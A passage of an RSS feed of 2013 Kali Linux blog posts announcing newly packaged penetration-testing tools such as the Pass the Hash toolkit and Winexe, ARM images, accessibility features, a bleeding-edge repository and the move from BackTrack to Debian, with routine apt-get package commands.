&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=255">Armitage&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=169">DNSrecon&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=306">Vega&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=235">WPScan&lt;/a>&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h3 id="more-kali-linux-arm-images">More Kali Linux ARM Images&lt;/h3>
&lt;p>Our quest to get Kali Linux running on popular ARM hardware is going strong and our trusted contributor, &lt;a href="https://www.offsec.com/">OffSec&lt;/a> , has provided new ARM images for the &lt;strong>BeagleBone Black&lt;/strong>, &lt;strong>CuBox&lt;/strong>, and &lt;strong>Efika MX&lt;/strong> to our &lt;a href="https://www.kali.org/get-kali/">growing collection&lt;/a>.&lt;/p>
&lt;h3 id="seamless-upgrade-of-kali-linux">Seamless upgrade Of Kali Linux&lt;/h3>
&lt;p>As usual, you do not need to re-download Kali Linux 1.0.4 if you already have it installed. A regular &amp;ldquo;apt-get update &amp;amp;&amp;amp; apt-get dist-upgrade&amp;rdquo; will do the job of getting you to the latest and greatest!&lt;/p></description></item><item><title>Pass the Hash toolkit, Winexe and more.</title><link>https://www.kali.org/blog/pass-the-hash-toolkit-winexe-updates/</link><guid isPermaLink="true">https://www.kali.org/blog/pass-the-hash-toolkit-winexe-updates/</guid><pubDate>Mon, 15 Jul 2013 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/pass-the-hash-toolkit-winexe-updates/images/kali-pass-hash-toolkit.jpg" type="image/jpg"/><description>&lt;p>We&amp;rsquo;ve just pushed a bunch of packages, tools, and utilities to the main Kali repositories. These tools have been on the top of our wish list for a while and some of them were quite challenging to package. Before we start telling you of our packaging woes, here&amp;rsquo;s how to update your Kali installation and get the latest goodness from our repos:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-get update
apt-get dist-upgrade
apt-get install passing-the-hash unicornscan winexe
apt-get install unicornscan enum4linux polenum
apt-get install nfspy firmware-mod-kit wmis
# and if you haven't already:
apt-get install nipper-ng jsql oclgausscrack ghost-phisher uniscan
apt-get install lbd automater arachni bully inguma sslsplit dumpzilla
apt-get install owasp-mantra-ff recon-ng ridenum regripper jd-gui
&lt;/code>&lt;/pre>
&lt;h3 id="pass-the-hash-toolkit">Pass The Hash Toolkit&lt;/h3>
&lt;p>We have *finally* finished packaging the &lt;a href="https://code.google.com/archive/p/passing-the-hash/downloads">Pass the Hash Toolkit&lt;/a> in an elegant and intelligent way, thanks to samba4. Samba 4 is architectured differently than previous versions and many parts of the core functionality have been moved into libraries. This made it possible for us to easily override a couple of functions in those libraries with the help of the dynamic loader (using LD_PRELOAD) and saved us the need to recompile a patched samba in order to introduce the PTH tookit to Kali. All PTH tools and utilities have a &amp;ldquo;&lt;strong>pth-&lt;/strong>&amp;rdquo; prefix.&lt;/p>
&lt;h3 id="winexe">Winexe&lt;/h3>
&lt;p>Winexe (also with PTH capabilities) was also challenging to get running in Kali due to &lt;a href="https://sourceforge.net/p/winexe/bugs/21/">mysterious segfaults&lt;/a> in the application on 32 bit Kali systems. Fortunately, those issues were solved and the latest Winexe is now available in the Kali repositories.&lt;/p>
&lt;h3 id="kali-linux-release-at-def-con-21">Kali Linux Release at DEF CON 21&lt;/h3>
&lt;p>We will be releasing a bugfix rollup of Kali Linux during the BlackHat and DEF CON security conferences this year - all these tool additions and updates will be available in the upcoming release. To all conference goers, see you there!&lt;/p></description></item><item><title>Kali Linux Accessibility Improvements</title><link>https://www.kali.org/blog/kali-linux-1-0-3-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-1-0-3-release/</guid><pubDate>Fri, 26 Apr 2013 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-1-0-3-release/images/kali-speech-support.jpg" type="image/jpg"/><description>&lt;p>A couple of weeks ago, we were approached (independently) by two blind security enthusiasts who both drew our attention to the fact that Kali Linux had no built-in accessibility features. This made Kali difficult, if not impossible, to both install and use from a blind or visually impaired user&amp;rsquo;s perspective.&lt;/p>
&lt;p>Our first attempts at building an accessible version of Kali failed and after a bit of digging, we found that there were several upstream &lt;a href="https://packages.debian.org/wheezy/gdm3">GNOME Display Manager&lt;/a> (GDM3) bugs in &lt;a href="https://www.debian.org/">Debian&lt;/a>, which prevented these accessibility features from functioning with the GDM greeter. Working together with an upstream GNOME developer, we knocked out these bugs and had the fixes implemeted in Kali, and hopefully in future builds of GDM3 in Debian. To make the &lt;a href="https://www.kali.org/docs/installation/">Kali installation&lt;/a> accessible as well, we have added a new &amp;ldquo;accessibility&amp;rdquo; boot option that triggers the speech engine during the installation process.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-1-0-3-release/images/desktop-installer-small.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-1-0-3-release/images/desktop-installer-small.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We are very proud to have sponsored this work, which has brought much-improved accessibility features to both Kali Linux and Debian and we sincerely hope to continue receiving &lt;a href="https://bugs.kali.org/">feedback&lt;/a> from the community so we can further improve Kali Linux. We have also taken this opportunity add a new &amp;ldquo;Live Desktop&amp;rdquo; installer and have released a &lt;a href="https://www.kali.org/get-kali/">new version of Kali Linux&lt;/a> that has these accessibility features built-in.&lt;/p>
&lt;p>&lt;strong>To activate the speech assisted installer, press &amp;ldquo;S&amp;rdquo; at boot time, and hit enter.&lt;/strong>&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe src="https://www.kali.org/blog/kali-linux-1-0-3-release/https://player.vimeo.com/video/64376041?dnt=1" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="vimeo video" webkitallowfullscreen mozallowfullscreen allowfullscreen>&lt;/iframe>
&lt;/div></description></item><item><title>Bleeding Edge Kali Linux</title><link>https://www.kali.org/blog/bleeding-edge-kali-repositories/</link><guid isPermaLink="true">https://www.kali.org/blog/bleeding-edge-kali-repositories/</guid><pubDate>Mon, 25 Mar 2013 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/bleeding-edge-kali-repositories/images/kali-bleeding-edge-repo.jpg" type="image/jpg"/><description>&lt;p>We&amp;rsquo;ve been busy this week, still behind on our emails, but going strong with Kali development. We packaged some &lt;a href="https://bugs.kali.org/">new tools&lt;/a> which were pointed out by the community as missing, such as &lt;strong>inguma&lt;/strong>, &lt;strong>arachni&lt;/strong>, &lt;strong>bully&lt;/strong>, &lt;strong>lbd&lt;/strong>, &lt;strong>uniscan&lt;/strong>, &lt;strong>automater&lt;/strong>, as well as started to build a framework of libraries and patches for bluetooth sniffing and ubertooth tools. We also fixed the Kali Menu to be editable again.&lt;/p>
&lt;p>With over 300 tools in our repository, it&amp;rsquo;s close to impossible for us to keep *every* tool updated to the latest git version, all the time. A good example of this happed a few days ago, when we updated the &lt;strong>SET&lt;/strong> package. Two days after we updated the package, we got a &amp;ldquo;tool upgrade&amp;rdquo; request for SET in our bug tracker, as our package was already outdated. Seems a bit extreme? Maybe not, &lt;strong>consider the following conundrum&lt;/strong>:&lt;/p>
&lt;p>You have an audit tommorrow, and you&amp;rsquo;re getting your tools ready. You boot Kali Linux up, run an &amp;ldquo;&lt;strong>apt-get update &amp;amp;&amp;amp; apt-get upgrade&lt;/strong>&amp;rdquo; to make sure you&amp;rsquo;re running the latest stable versions of &lt;em>$your_favorate_tool&lt;/em>. After the update, you notice that &lt;em>$your_favorate_tool&lt;/em> has a package that was updated last week in our repositories. However, in the past week, some pretty awesome updates were added to &lt;em>$your_favorate_tool&lt;/em> upstream, and you really need those new features for the upcoming assessment. &lt;strong>What do you do ?&lt;/strong>&lt;/p>
&lt;h3 id="worst-thing-to-do">Worst Thing To Do.&lt;/h3>
&lt;p>Assuming you&amp;rsquo;re not using Kali as a &amp;ldquo;Throw Away Instance&amp;rdquo;, the worst thing to do in this case is to overwrite packaged files. For example, &lt;strong>the following commands to update a tool that gets updated frequently is a big no-no&lt;/strong> and will ultimately break your install in the future:&lt;/p>
&lt;pre>&lt;code class="language-sh"># dont update tools like this!
cd /usr/share/
rm -rf $your_favorate_tool
git clone $your_favorate_tool
&lt;/code>&lt;/pre>
&lt;h3 id="ok-to-dobut-meh">OK To Do&amp;hellip;but, Meh.&lt;/h3>
&lt;p>Since you &lt;strong>shouldn&amp;rsquo;t be messing with packaged files&lt;/strong>, the most common option is to svn or git checkout &lt;em>$your_favorate_tool&lt;/em> in a temporary directory and use it from there as shown below. In most cases, all the dependencies needed for the updated tool will usually already exist in Kali. Alternatively, you could opt to &lt;a href="https://www.kali.org/docs/development/rebuilding-a-package-from-source/">rebuild the source package&lt;/a>, which includes your updates and changes:&lt;/p>
&lt;pre>&lt;code class="language-sh">cd ~
mkdir work
cd work
git clone $your_favorate_tool
cd $your_favorate_tool
./your_favorate_tool
&lt;/code>&lt;/pre>
&lt;h3 id="our-solution">Our Solution.&lt;/h3>
&lt;p>We said &lt;strong>*close*&lt;/strong> to impossible, right? Seeing this clash between the update frequency of some tools and the need (of some people, not everyone) to &amp;ldquo;always have the latest revision of &lt;em>$your_favorate_tool&lt;/em>&amp;rdquo;, we came up with an interesting solution. We&amp;rsquo;ve set up an opt-in &amp;ldquo;&lt;strong>Kali bleeding edge&lt;/strong>&amp;rdquo; repository which contains daily builds for several useful and frequently updated tools. These repositories are still highly experimental (meaning we expect things to break from time to time until we get more feedback from the community). If you want to try this feature out, you are welcome to add the bleeding edge repository as shown below however, please remember that term &amp;ldquo;&lt;strong>bleeding edge&lt;/strong>&amp;rdquo;. There&amp;rsquo;s a reason for the blood:&lt;/p>
&lt;pre>&lt;code class="language-sh">echo deb http://http.kali.org/kali kali-bleeding-edge main contrib non-free &amp;gt;&amp;gt; /etc/apt/sources.list
apt-get update
apt-get upgrade
&lt;/code>&lt;/pre>
&lt;p>We currently have a handful of tools in this repository, which include &lt;strong>se-toolkit&lt;/strong> (set), &lt;strong>aircrack-ng&lt;/strong>, &lt;strong>dnsrecon&lt;/strong>, &lt;strong>sqlmap&lt;/strong>, &lt;strong>rfidiot&lt;/strong>, &lt;strong>beef-xss&lt;/strong>, &lt;strong>libnfc&lt;/strong>, &lt;strong>libfreefare&lt;/strong>, &lt;strong>mfoc&lt;/strong> and &lt;strong>mfcuk&lt;/strong>. We expect this list to grow with time.&lt;/p></description></item><item><title>Kali Linux Release Aftermath</title><link>https://www.kali.org/blog/kali-linux-1-0-1-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-1-0-1-release/</guid><pubDate>Mon, 18 Mar 2013 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-1-0-1-release/images/kali-five-days.jpg" type="image/jpg"/><description>&lt;p>Five days into the &lt;a href="https://www.kali.org/blog/kali-linux-1-0-0-release/">Kali Linux&lt;/a> release at BlackHat EU in Amsterdam, and we&amp;rsquo;re still not fully recovered. Since the release, we&amp;rsquo;ve had just over &lt;strong>90,000 downloads&lt;/strong>, a dozen or so package updates, added more articles to the Kali Documentation, started a &lt;a href="https://www.kali.org/docs/">Portuguese translation&lt;/a>, and we even managed to squeeze in a small bugfix release (Kali 1.0.1), which resolved an annoying &lt;a href="https://bugs.kali.org/view.php?id=63/">USB keyboard issue&lt;/a> some users reported. The responses to Kali so far have been extremely positive and our bug tracker is surely enough filling up with new tool requests. We encourage Open-source tool developers to contact us so that we can work together towards this goal.&lt;/p>
&lt;p>We have big hopes for our shiny &amp;ldquo;&lt;a href="https://www.kali.org/docs/">Kali Linux Documentation&lt;/a>&amp;rdquo; platform and will continue writing up useful articles that serve the Kali community. &lt;del>We have made the effort to automatically generate a PDF offline version of our server for public download&lt;/del> (Removed in 2021). &lt;strong>We strongly recommend that even experienced Linux and &lt;a href="https://www.backtrack-linux.org/">BackTrack&lt;/a> users take the time to read through this documentation&lt;/strong>, as Kali Linux has some unique features which would throw off anyone without a proper understanding of the underlying mechanisms. PDF downloads for additional translated languages will become available soon as translation work speeds ahead.&lt;/p>
&lt;p>We would like to take this opportunity to thank everyone involved in the past year&amp;rsquo;s development of Kali Linux - &lt;strong>developers, funders, programmers, web designers, translators, community administrators, mirror contributors, and tech writers&lt;/strong>, without whom Kali Linux would not have come to light. Extra special thanks to the &lt;a href="https://www.offsec.com/">OffSec&lt;/a> team who have dedicated themselves to Kali Linux in the past year and to Rapid 7 for &lt;a href="https://blog.rapid7.com/2013/03/13/metasploit-now-supports-kali-linux-the-evolution-of-backtrack/">supporting our release&lt;/a> and officially contributing the Metasploit packages to Kali Linux.&lt;/p>
&lt;p>We will continue to be responsive to the community through our formal channels, and in turn, hope that through this new interaction, the community will help grow, and continually improve, Kali Linux.&lt;/p></description></item><item><title>Kali Linux 1.0 Release - Moto - The Birth of Kali Linux</title><link>https://www.kali.org/blog/kali-linux-1-0-0-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-1-0-0-release/</guid><pubDate>Wed, 13 Mar 2013 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-1-0-0-release/images/kali-the-birth.jpg" type="image/jpg"/><description>&lt;h2 id="kali-linux-the-rising">Kali Linux, the rising&lt;/h2>
&lt;p>It&amp;rsquo;s been 7 years since we released our first version of &lt;a href="https://www.backtrack-linux.org/">BackTrack Linux&lt;/a>, and the ride so far has been exhilarating. When the dev team started talking about BackTrack 6 (almost a year ago), each of us put on paper a few &amp;ldquo;wish list goals&amp;rdquo; that we each wanted implemented in our &amp;ldquo;next version&amp;rdquo;.&lt;/p>
&lt;h3 id="scrapping-it-all-and-starting-afresh">Scrapping it all and starting afresh&lt;/h3>
&lt;p>It soon became evident to us that with our 4 year old development architecture, we would not be able to achieve all these new goals without a massive restructure, so, &lt;strong>we massively restructured&lt;/strong>. We realized it would be easier to start afresh, using new technologies and processes than to try to patch up our existing environment to conform to Debian policies and FSH. This realization brought upon the next question&amp;hellip;&lt;/p>
&lt;h3 id="ubuntu-vs-debian">Ubuntu vs. Debian&lt;/h3>
&lt;p>Once we realized we are free from the bonds of our old environment, we started musing about the base platform we want to build our next penetration testing distribution - the main players on our table were Debian and Ubuntu. With both options heavily weighed and gently avoiding philosophical rants about the pros and cons of each, Debian was our final choice.&lt;/p>
&lt;h3 id="what-about-the-offsec-courses">What about the OffSec courses?&lt;/h3>
&lt;p>Surprisingly enough, with all the new changes we have made in Kali, the user experience remains pretty much the same. Apart from a couple of path changes due to our new FHS compliance, our students should feel little difference between Kali and BackTrack.&lt;/p>
&lt;h3 id="wheres-my-pentest">Where&amp;rsquo;s my /pentest?&lt;/h3>
&lt;p>Gone. Kaput. Kwisha. Dissipated. FSH compliance has removed the &lt;em>&lt;strong>/pentest&lt;/strong>&lt;/em> structure from our distribution. Although the &lt;em>&lt;strong>/pentest&lt;/strong>&lt;/em> directory tree was a signature of our previous distributions for many years, it always brought with it policy questions which could never be satisfactorily answered. For example, when does a tool go in &lt;em>&lt;strong>/pentest&lt;/strong>&lt;/em>, and when should it be placed in the $PATH? Where should a tool like &amp;ldquo;sqlmap&amp;rdquo; be placed? Should it be in &lt;em>&lt;strong>/pentest/web&lt;/strong>&lt;/em>, or &lt;em>&lt;strong>/pentest/database&lt;/strong>&lt;/em>? With our new FSH compliant packages, there&amp;rsquo;s no guesswork left. Everything is in the path and accessible directly, as it should be.&lt;/p>
&lt;h3 id="kali-linux---whats-in-a-name">Kali Linux - what&amp;rsquo;s in a name?&lt;/h3>
&lt;p>Hindu Goddess of time and change? Philippine martial art? Cool word in Swahili? None of the above. &amp;ldquo;Kali&amp;rdquo; is simply the name we came up with for our new distribution. Why change the name in the first place? With all these significant changes in our distribution, we felt that we needed to convey this in the project name. &amp;ldquo;BackTrack 6&amp;rdquo; didn&amp;rsquo;t do justice to our efforts in the past year, and wouldn&amp;rsquo;t convey our new message to our users. What&amp;rsquo;s the new message? We&amp;rsquo;ll let you find out for yourself.&lt;/p></description></item><item><title>What's New in Kali Linux?</title><link>https://www.kali.org/blog/kali-linux-whats-new/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-whats-new/</guid><pubDate>Wed, 13 Mar 2013 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-whats-new/images/kali-whats-new.jpg" type="image/jpg"/><description>&lt;h2 id="enter-kali-linux">Enter Kali Linux&lt;/h2>
&lt;p>&amp;ldquo;&lt;strong>So, what&amp;rsquo;s the difference between &lt;a href="https://www.backtrack-linux.org/">BackTrack&lt;/a> and Kali?&lt;/strong>&amp;rdquo; you might be asking. Unfortunately for us, that&amp;rsquo;s not a simple question to answer. It&amp;rsquo;s a mix between &amp;ldquo;everything&amp;rdquo; and &amp;ldquo;not much&amp;rdquo;, depending on how you used BackTrack.&lt;/p>
&lt;p>From an end user perspective, the most obvious change would be the switch to Debian and an FHS-compliant system. What this means is that instead of having to navigate through the &lt;strong>/pentest&lt;/strong> tree, you will be able to call any tool from anywhere on the system as every application is included in the system path. However, there&amp;rsquo;s much hidden magic in that last sentence. I&amp;rsquo;ll quickly list some of the new benefits of this move.&lt;/p>
&lt;h3 id="streaming-security-and-package-updates-from-debian">Streaming Security and Package Updates From Debian&lt;/h3>
&lt;p>Our new streamlined repositories synchronize with the &lt;a href="https://www.debian.org/">Debian&lt;/a> repositories 4 times a day, constantly providing you with the latest package updates and security fixes available.&lt;/p>
&lt;h3 id="debian-compliant-packaging-of-each-tool-in-kali">Debian Compliant Packaging of Each Tool in Kali&lt;/h3>
&lt;p>This is where we&amp;rsquo;ve been spending most of our time and effort. Relentlessly packaging dozens of useful tools, painstakingly making sure our packages are Debian compliant.&lt;/p>
&lt;h3 id="long-term-packaging-and-maintenance-of-high-profile-tools">Long Term Packaging and Maintenance of High Profile Tools&lt;/h3>
&lt;p>Many of the tools in our toolbox need to be &amp;ldquo;bleeding edge&amp;rdquo;. This means we have take on the task of packaging and maintaining upstream versions of many tools, so that our users are constantly kept up to date where it matters.&lt;/p>
&lt;h3 id="streamlined-development-process">Streamlined Development Process&lt;/h3>
&lt;p>As our source packages are now also Debian compliant, you can quickly and easily get the required sources of each tool, then modify and rebuild them with a couple of commands.&lt;/p>
&lt;h3 id="bootstrap-builds-and-iso-customizations">Bootstrap Builds and ISO Customizations&lt;/h3>
&lt;p>One of the many benefits of our move to a Debian compliant system, is the ability to Bootstrap a Kali Installation/ISO directly from our repositories. This means that you can easily &lt;a href="https://www.kali.org/docs/development/live-build-a-custom-kali-iso/">build your own customizations of Kali&lt;/a>, as well as perform &lt;a href="https://www.kali.org/docs/installation/network-pxe/">enterprise network installs&lt;/a> from a local or remote repository.&lt;/p>
&lt;h3 id="automating-kali-installations">Automating Kali Installations&lt;/h3>
&lt;p>Kali Linux installations can now be automated using pre-seed files. This allows for enterprise wide customization and deployment on multiple systems.&lt;/p>
&lt;h3 id="real-arm-development">Real ARM Development&lt;/h3>
&lt;p>BackTrack 5 brought with it new support for ARM hardware. Our ARM build-bot was a modified Motorola Xoom tablet, which suffice to say, didn&amp;rsquo;t last for long. To help remedy this, &lt;a href="https://www.offsec.com/">OffSec&lt;/a> has donated a Calxeda ARM cluster to our project, allowing reliable and long term development of Kali Linux ARM images.&lt;/p>
&lt;h3 id="complete-desktop-environment-flexibility">Complete Desktop Environment Flexibility.&lt;/h3>
&lt;p>Our new build and repository environments allow for complete flexibility in generating your own updated Kali ISOs, with any desktop environment you like. Do you prefer KDE? LXDE? XFCE? Anything else? Then &lt;a href="https://www.kali.org/docs/development/live-build-a-custom-kali-iso/">change your Kali desktop environment&lt;/a> yourself.&lt;/p>
&lt;h3 id="seamless-upgrades-between-future-major-versions">Seamless Upgrades Between Future Major Versions&lt;/h3>
&lt;p>Another benefit derived from the move to a Debian compliant system is the ability to seamlessly upgrade future major version of Kali. No longer will you have to reinstall your penetration testing machine due a new version of Kali coming out.&lt;/p>
&lt;p>With all these changes (and many more), you can see why we&amp;rsquo;re so excited about this release. Go ahead and give Kali a spin. Head on to the &lt;a href="https://www.kali.org/docs/">documentation area&lt;/a> for some setup guides, and then over to our &lt;a href="https://forums.kali.org/">forums&lt;/a> and join the new Kali community!&lt;/p></description></item></channel></rss>